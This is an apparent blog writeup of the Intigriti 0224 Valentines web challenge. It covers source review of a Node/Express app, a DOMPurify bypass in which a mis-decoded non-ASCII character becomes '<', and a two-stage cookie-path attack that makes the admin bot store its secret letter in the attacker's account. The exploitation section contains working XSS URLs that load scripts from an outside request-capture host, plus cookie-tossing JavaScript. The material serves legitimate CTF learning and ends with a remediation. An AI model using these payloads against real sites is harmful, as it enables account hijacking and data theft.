- Published on
Intigriti Valentines challenge 0224 writeup
- Authors
- Name
- Damjan Smickovski
- @smickovskid
Source: Intigriti
Solves: 34
Introduction
Another fun challenge hosted by Intigriti that made me dig deep and find out about some interesting things regarding cookies and how decoding values in a specific encoding format can lead to unexpected consequences.
Reconnaissance
Login page
This time around we are presented with a Valentines themed web page. The entry point seems to be a login / register page.
Home page
After registering our account we are automatically redirected to the home page.
Love Letters
The love letters page is where the user can set letters and read them afterwards by supplying his password.
Contact Admin page
The contact admin page is where the user can supply a link to the admin and the admin opens it. This page also displays the actions the admin performs.
Goal
Based on the challenge info our goal is to steal the letter from the adming account instead of the usual flag. From the looks of it this might be a multi stage challenge where we need to chain more than one vulnerabillity.
Source code analysis
The source code is included as part of the challenge and by downloading it we get access only to the Backend of the application which mainly uses Nodejs
, Express
, JSDom
, DOMPurify
and jsonwebtoken
.
The application consists of multiple routes, a few of which are related to internals like authentication and user creation. The register user endpoint is intereseting since we can see how for each new user a linked admin user is set.
app.post('/register', async function (req, res) {
try {
const {
username,
password
} = req.body;
const user = await Users.findOne({
where: {
username
}
});
if (user) {
return res.status(400).send("User already exists");
} else {
const hash = await bcrypt.hash(password, 10);
const newUser = {
username,
password: hash,
linkedUserID: null // Temporary value - gets set set when admin user is created
};
try {
const createdUser = await Users.create(newUser);
for (let i = 0; i < 4; i++) {
console.log("Making letter " + i + " for user " + createdUser.username);
await Letters.create({
letterId: i,
userId: createdUser.id,
isSet: false,
letterValue: "",
});
}
const adminHash = await bcrypt.hash(process.env.ADMIN_PASSWORD, 10);
const adminUser = { // This is just for the admin sender feature so every player gets a unique target.
username: `admin-${createdUser.username}`,
password: adminHash,
linkedUserID: createdUser.id
};
const createdAdmin = await Users.create(adminUser);
for (let i = 0; i < 4; i++) {
console.log("Making letter " + i + " for user " + createdAdmin.id);
const adminData = {
letterId: i,
userId: createdAdmin.id,
isSet: false,
};
if (i === 3) { // Set the letter for Intigriti community <3
// It's a base64 string in env called loveletter
adminData.letterValue = Buffer.from(process.env.ADMIN_LETTER, 'base64').toString('ascii');
adminData.isSet = true;
}
await Letters.create(adminData);
}
} catch (err) {
console.error(err);
return res.status(500).send("Error creating user");
}
return res.status(200).send("User registered!");
}
} catch (err) {
console.error(err);
return res.status(500).send("An error occurred");
}
});
Whenever a new user registers, a corresponding admin user with the prefix admin-
is created as well which will serve as the user that stores the letter we want to steal eventually.
Functional bug
There is a functional bug here which is unrelated to the challenge where we can register e.g admin-damjan
first and then proceed to create the user damjan
so the logic would fail due to the non unique username field due to us creating admin-damjan
before. The damjan
user ends up being created but we can't do much since linkedUserId
is never set. Not important but interesting find.
Debug endpoints
Scrolling further down we can see the logic behind the endpoints for storing letters, reading letters, deleting letters and the admin visiting url logic, however what is interesting is near the very end where we can find two debugging endpoints.
// A place for us to run tests without affecting prod letters!
// Currently testing:
// - Rich text via HTML with DOMPurify for safety
// - Base64 encoding
app.get("/setTestLetter", async function (req, res) {
try {
const { msg } = req.query;
if (!msg) {
return res.status(400).send("Missing msg parameter");
}
// We are testing rich text for the love letters! Best be safe!
const cleanMsg = DOMPurify.sanitize(msg);
const letter = await DebugLetters.create({
letterValue: Buffer.from(cleanMsg).toString('base64')
});
return res.redirect(`/readTestLetter/${letter.letterId}`);
} catch (err) {
console.error(err);
return res.status(500).send("An error occurred");
}
});
app.get("/readTestLetter/:uuid", async function (req, res) {
try {
const { uuid } = req.params;
if (!uuid) {
return res.status(400).send("Missing uuid in path parameter");
}
const letter = await DebugLetters.findOne({
where: { letterId: uuid }
});
if (!letter) {
return res.status(404).send("Letter not found");
}
const decodedMessage = Buffer.from(letter.letterValue, 'base64').toString('ascii');
return res.status(200).send(decodedMessage);
} catch (err) {
console.error(err);
return res.status(500).send("An error occurred");
}
});
Seems that these endpoints are used for testing purposes in setting an reading letters (unrelated to the other set/read letter logic). Quickly testing out the setTestLetter
endpoint with msg
as the query we can see that our input is reflected on the page:
https://api.challenge-0224.intigriti.io/setTestLetter?msg=test
The logic behind setTestLetter
is simple:
- Checks whether
msg
parameter supplied as part of the query. - Sanitizes the
msg
input withDOMPurify
. - Encodes the
msg
value inbase64
and creates the letter in the database. - Redirects the user to
/readTestLetter/{letterId}
which is returned from the previous step.
For readTestLetter
we need to supply the letterId
as part of the path e.g /readTestLetter/{your_id}
and the logic is as follows:
- Check if
uuid
has been supplied. - Search the DB for that
uuid
. - Decode the returned
base64
value intoascii
. - Return the value.
After this the value is displayed on the Frontend. Based on this logic our first guess is to find a way to leverage a vulnerability in the logic which will allow us to perform XSS.
Admin endpoint
Finally we can dissect the logic behind sendAdminURL
which is our victim from which we want to steal the letter.
app.post("/sendAdminURL", adminLimiter, passport.authenticate('jwt', { session: false }), async function (req, res) {
const safetySleepMS = 1500; // (ms) Sometimes it can get a bit tangled if it's too fast
const thoughts = [];
let browser;
try {
const {
adminURL
} = req.body;
const host = new URL(adminURL).host;
// Make sure the host is part of the challenge domain
// frontend = challenge-0224.intigriti.io
const hostRegex = new RegExp(`^(?:[a-zA-Z0-9-]+\\.)*${process.env.FRONTEND_URL.replace(/\./g, '\\.')}$`);
if (!adminURL) {
return res.status(400).send("Empty URL");
} else if (!hostRegex.test(host)) {
thoughts.push("Not too sure what this host is, I'd best be safe and not click it.");
return res.status(400).json(thoughts);
}
console.log("Launching puppeteer");
browser = await puppeteer.launch({
timeout: 0,
executablePath: "/usr/bin/chromium-browser",
headless: "new",
defaultViewport: null,
});
const linkedUser = await Users.findOne({
where: {
linkedUserID: req.user.id
},
include: [{
model: Letters,
as: 'letters',
attributes: {
exclude: ['letterValue'],
},
}],
});
if (!linkedUser) {
return res.status(500).send("Error finding user");
};
let page = await browser.newPage();
await page.setDefaultTimeout(3000);
// The challenge simulates a user who is logged in already, so we'll do that first otherwise it's no fun!
await page.goto(`https://${process.env.SELF_HOST}/login`);
await page.waitForSelector("#username");
await sleep(safetySleepMS);
await page.type("#username", linkedUser.username);
await page.type("#password", process.env.ADMIN_PASSWORD);
await page.click("#login");
await page.waitForSelector("#letter_bank");
// Logged in and ready to go!
thoughts.push(`${host}! I recognize that domain! I'll just click this link and see what it is.`);
await page.goto(adminURL, {
waitUntil: 'networkidle0'
});
thoughts.push("I shouldn't have clicked that link. I'll open the site directly to check things are safe.");
await page.close();
page = await browser.newPage();
await page.goto(`https://${process.env.FRONTEND_URL}/letters`, {
waitUntil: 'networkidle0'
});
// Simulate the admin checking the name in the top right to ensure they're on the right account
const user = await page.evaluate((url) => {
return fetch(`https://${url}/user`, {
method: 'GET',
credentials: 'include'
})
.then(response => response.json())
.catch(error => console.error('Error:', error));
}, process.env.SELF_URL);
// Make sure the admin is logged into their own account
if (!user || user.user.username !== linkedUser.username) {
thoughts.push("Whose account is this? Something's not right. I'll close the browser and go about my day.");
await browser.close();
return res.status(200).json({ thoughts });
}
const letterData = await page.evaluate((url) => {
return fetch(`https://${url}/getLetterData`, {
method: 'GET',
credentials: 'include'
})
.then(response => response.json())
.catch(error => console.error('Error:', error));
}, process.env.SELF_URL);
const letterIsSet = letterData.userLetters[3].isSet;
if (letterIsSet) {
thoughts.push("I can see that the Intigriti letter is safely set! My secret is safe! I'll go about my day now.");
await browser.close();
return res.status(200).json({ thoughts });
}
thoughts.push("I can see I'm missing a letter? Did I forget? Weird. I'll just set it now...");
const adminLetterText = Buffer.from(process.env.ADMIN_LETTER, 'base64').toString('ascii');
await page.evaluate((url, letter) => {
// Existing fetch request
fetch(`https://${url}/storeLetter`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
letterId: 3,
letterValue: letter
}),
credentials: 'include'
});
}, process.env.SELF_URL, adminLetterText);
thoughts.push("Letter submitted! I'll close the browser now and go about my day.");
await browser.close();
} catch (e) {
console.log("Caught an error: ", e);
try {
await browser.close();
} catch (err) {
console.error(err);
}
return res.status(500).json({ thoughts });
}
console.log("Exiting /sendAdminURL endpoint");
return res.status(200).json({ thoughts });
});
The logic is as follows:
- Checks if
adminURL
has been supplied in the body. - Checks if the
adminURL
is part of thechallenge-0224.intigriti.io
domain. - Launches pupeteer.
- Fetches the admin user details from the db.
- Logs in.
- Opens the provided link via
adminURL
. - Closes the tab after load.
- Navigates to
/letters
in a new tab. - Checks whether the logged in user is the admin user.
- Exits if it is not.
- Checks whether the letter with ID 3 has been set.
- Exits if set
- If not set, Sends a POST request to
storeLetter
and sets the letter.
- Closes browser
The authentication relies on the jwt
cookie which is set as HTTPONLY
and used for all requests towards the api
subdomain.
Exploitation
Rabbit hole
What is a challenge without going into a rabbit hole where the frustration increases relative to the time spent.
Again we have DOMPurify as the previous challenges and a smart person would say:
No point to try to bypass DOMPurify and look for a 0 day since that is probably not the right attack vector right ?.
Wrong, of course I will try to bypass DOMPurify and find a 0 day.
TLDR: I didn't
Diving into the journey of bypassing DOMPurify I learned some interesting things around loading in external stylesheets. Turns out we can load in external styles if we embeed them inside a svg
element.
<svg>
<style>
@import("something.css")
</style>
</svg>
This will not get sanitized, so my assumption was to somehow leverage a rogue css
import and get an XSS on the page. Turns out this has not been possible for some time, however I found ab interesting blog post that discusses around stealing sensistive data via CSS injection. It is all combined in HackTricks.
Even though I was not successfull, I learned about a new attack vector that can help me out in the future with credential harvesting.
XSS exploit
Around the time I gave up with the rabbit hole, the first hint came out on the Intigriti twitter.
Are you sure 128 characters are enough to fully express love?
This rang a bell that the XSS might be based around how the user supplied text was being decoded in the readTestLetter
, the encoding format was ascii
in our case. This actually came to mind initially, but I did not try with a wide range of charcaters and just left it.
Since ascii
encoding consists of 128 characters, we can probably send a range of non ascii
characters and see how they are decoded. Quickly asking ChatGPT to generate 100 non ascii
characters and pasting them to the msg
query parameter I got some interesting results.
My suspicion was that perhaps some of the characters might be wrongly decoded and become <
or >
which will allow me to open a script tag.
The character we can use ended up being ļ
. This character gets interpreted as D<
which will suffice for us to open and close our <script>
tags and bypass DOMPurify. A quick test can confirm this:
https://api.challenge-0224.intigriti.io/setTestLetter?msg=ļscript>alert(1);//ļ/script>
Great, we got the XSS but we still have not solved the challenge since we need to somehow steal the admin note.
JWT Exploit
This journey was a fun one indeed and helped me understand cookies better and how they are processed and forwarded to the Backend.
Based on our analysis of the sendAdminURL
endpoint we can see that our attack vector is probably around somehow tricking the admin of storing the letter on our attacker account instead of his own. This lead me through another rabbit flow of trying to overwrite the HTTP only jwt
cookie without any success.
I ended up going for the brute solution, however I will include the clean solution as well.
Unreliable solution
The exploit will chain the XSS vulnerability we previously discovered as the first stage and perform a time based attack and replace the session as the second stage. This exploit requires tweaks on the wait time based on the server load and how fast the admin opens the url.
The attack revolves around guesing the time when the admin has confirmed that he is logged in with his own account and replacing his token with our attacker token right before he sets his letter. We also unset the letter via the unsetLetter
endpoint right after loading our stage 2 script.
I was using Request repo to host my malicious JS. For the sake of simplicity the scripts will be named stage1.js
and stage2.js
.
Stage 1
The stage 1 payload is very simple and just opens a new tab with the stage 2 script. This is to bypass the logic where the admin closes the tab right away.
// Payload sent to admin: https://api.challenge-0224.intigriti.io/setTestLetter?msg=ļscript src="https://requestrepo.com/stage1.js">ļ/script>
window.open('https://api.challenge-0224.intigriti.io/setTestLetter?msg=ļscript src="https://requestrepo.com/stage2.js">ļ/script>', '_blank');
Stage 2
The second stage consists of:
- Deleting the letter with ID 3 right off the bat so we make sure the admin tries to set it again.
- Waiting for a few seconds
- Setting the
jwt
cookie with our attacker token - Logging out via the
logout
endpoint.
// Function to set cookies based on provided values
function setCrossSubdomainCookie(name, value, domainVal, days) {
const assign = name + "=" + escape(value) + ";";
const d = new Date();
d.setTime(d.getTime() + (days*24*60*60*1000));
const expires = "expires="+ d.toUTCString() + ";";
const path = "path=/;Priority=High;";
const domain = "domain=" + domainVal + ";";
document.cookie = assign + expires + path + domain;
}
// Uset the letter
async function main(){
await fetch("https://api.challenge-0224.intigriti.io/unsetLetter", {
method: 'POST',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({letterId: "3"})
});
setCrossSubdomainCookie("jwt", "<ATTACKER_TOKEN>", "api.challenge-0224.intigriti.io", 1000000)
// Wait for admin to check his acc
await new Promise(r => setTimeout(r, 2600));
// Logout
await fetch("https://api.challenge-0224.intigriti.io/logout", {method: 'DELETE'})
}
main()
The important part is to get the timing correct, so I had to adjust the wait value a few times by incrementing / decrementing by +/- 100ms for a few times. Eventually I managed to hit the correct timing and indeed the admin ended up creating the letter on my own account.
We got the flag via our time based attack.
Realiable solution
For my defense, I actually thought of this and tried it out locally but lacked the obvious knowlegde of cookies and dropped it right away without sending it to the admin. This solution is more or less the same approach, just instead of replacing path as /
we should be setting the path as /storeLetter
for the cookie. The only amend needs to be done in the second stage:
function setCrossSubdomainCookie(name, value, domainVal, days) {
const assign = name + "=" + escape(value) + ";";
const d = new Date();
d.setTime(d.getTime() + (days*24*60*60*1000));
const expires = "expires="+ d.toUTCString() + ";";
const path = "path=/storeLetter;Priority=High;"; // < --- We are setting the cookie for the specific path here
const domain = "domain=" + domainVal + ";";
document.cookie = assign + expires + path + domain;
}
// Uset the letter
async function main(){
await fetch("https://api.challenge-0224.intigriti.io/unsetLetter", {
method: 'POST',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({letterId: "3"})
});
setCrossSubdomainCookie("jwt", "<ATTACKER_TOKEN>", "api.challenge-0224.intigriti.io", 1000000)
}
main()
This approach does not require the logout and waiting since we are setting a specific cookie to a specific path, so the admin is logged in as expected and fetching the user details returns his account, however a different cookie is used for the storeLetter
path.
Lessons to be learned
Throughout my investigation on how to chain the XSS vulnerability with the sensitive data exposure vulnerability to somehow get the admin to store the letter on my account I found out about a few things that will probably help others as well in similar challenges:
Previewing cookies that have been set
One of the first things i tried is to set the cookie for the storeLetter
path with the second stage to:
document.cookie='jwt=<token>;Path=/storeLetter';
Then I ran the exploit which ends up on the readTestLetter
page, however when we open the Chrome Dev Tools and check the Cookies we don't see the cookie there. This was an oversight on my side and kept thinking Chrome is somehow blocking me from setting the cookie to any other value than /
.
Well turns out the cookie is set but it is not displaying because we are not on the storeLetter
path which makes sense. If we have it at /
as the path it will display because this serves as a wildcard for the whole domain and paths, so it is shown everywhere.
By navigating to https://api.challenge-0224.intigriti.io/storeLetter
we can indeed see it gets attached as a cookie.
Multiple cookies with the same value
Another interesting thing that seems to happen is when we have multiple cookie with the same value. In such scenarios all of the cookies are sent as part of the request
This is how it looks like when we have the same cookie but set for a subdomain:
As we can see in the request both of the values are sent:
Something that comes to mind with this discovery is to perhaps get our malicious cookie somehow be passed as the first value. By a quick manual switch I was able to confirm that indeed the first value is taken when multiple cookies with the same name are sent.
Unfortunately we won't be able to do that because I stumbled along this old blog post that clarified some things for me.
TLDR: Cookies are sorted first based on path length and then on creation-time, so in our case there is no way to inject our cookies beforehand.
Remediation
The fix around this is simple, instead of forcing the character encoding when decoding the base64
string, the toString
should be invoked without any parameters so it defaults to UTF-8
(for buffers) and thus fixing the XSS vulnerability.
Moral of the story
You don't need to understand how cookies work when you can become a brute and accept no defeat.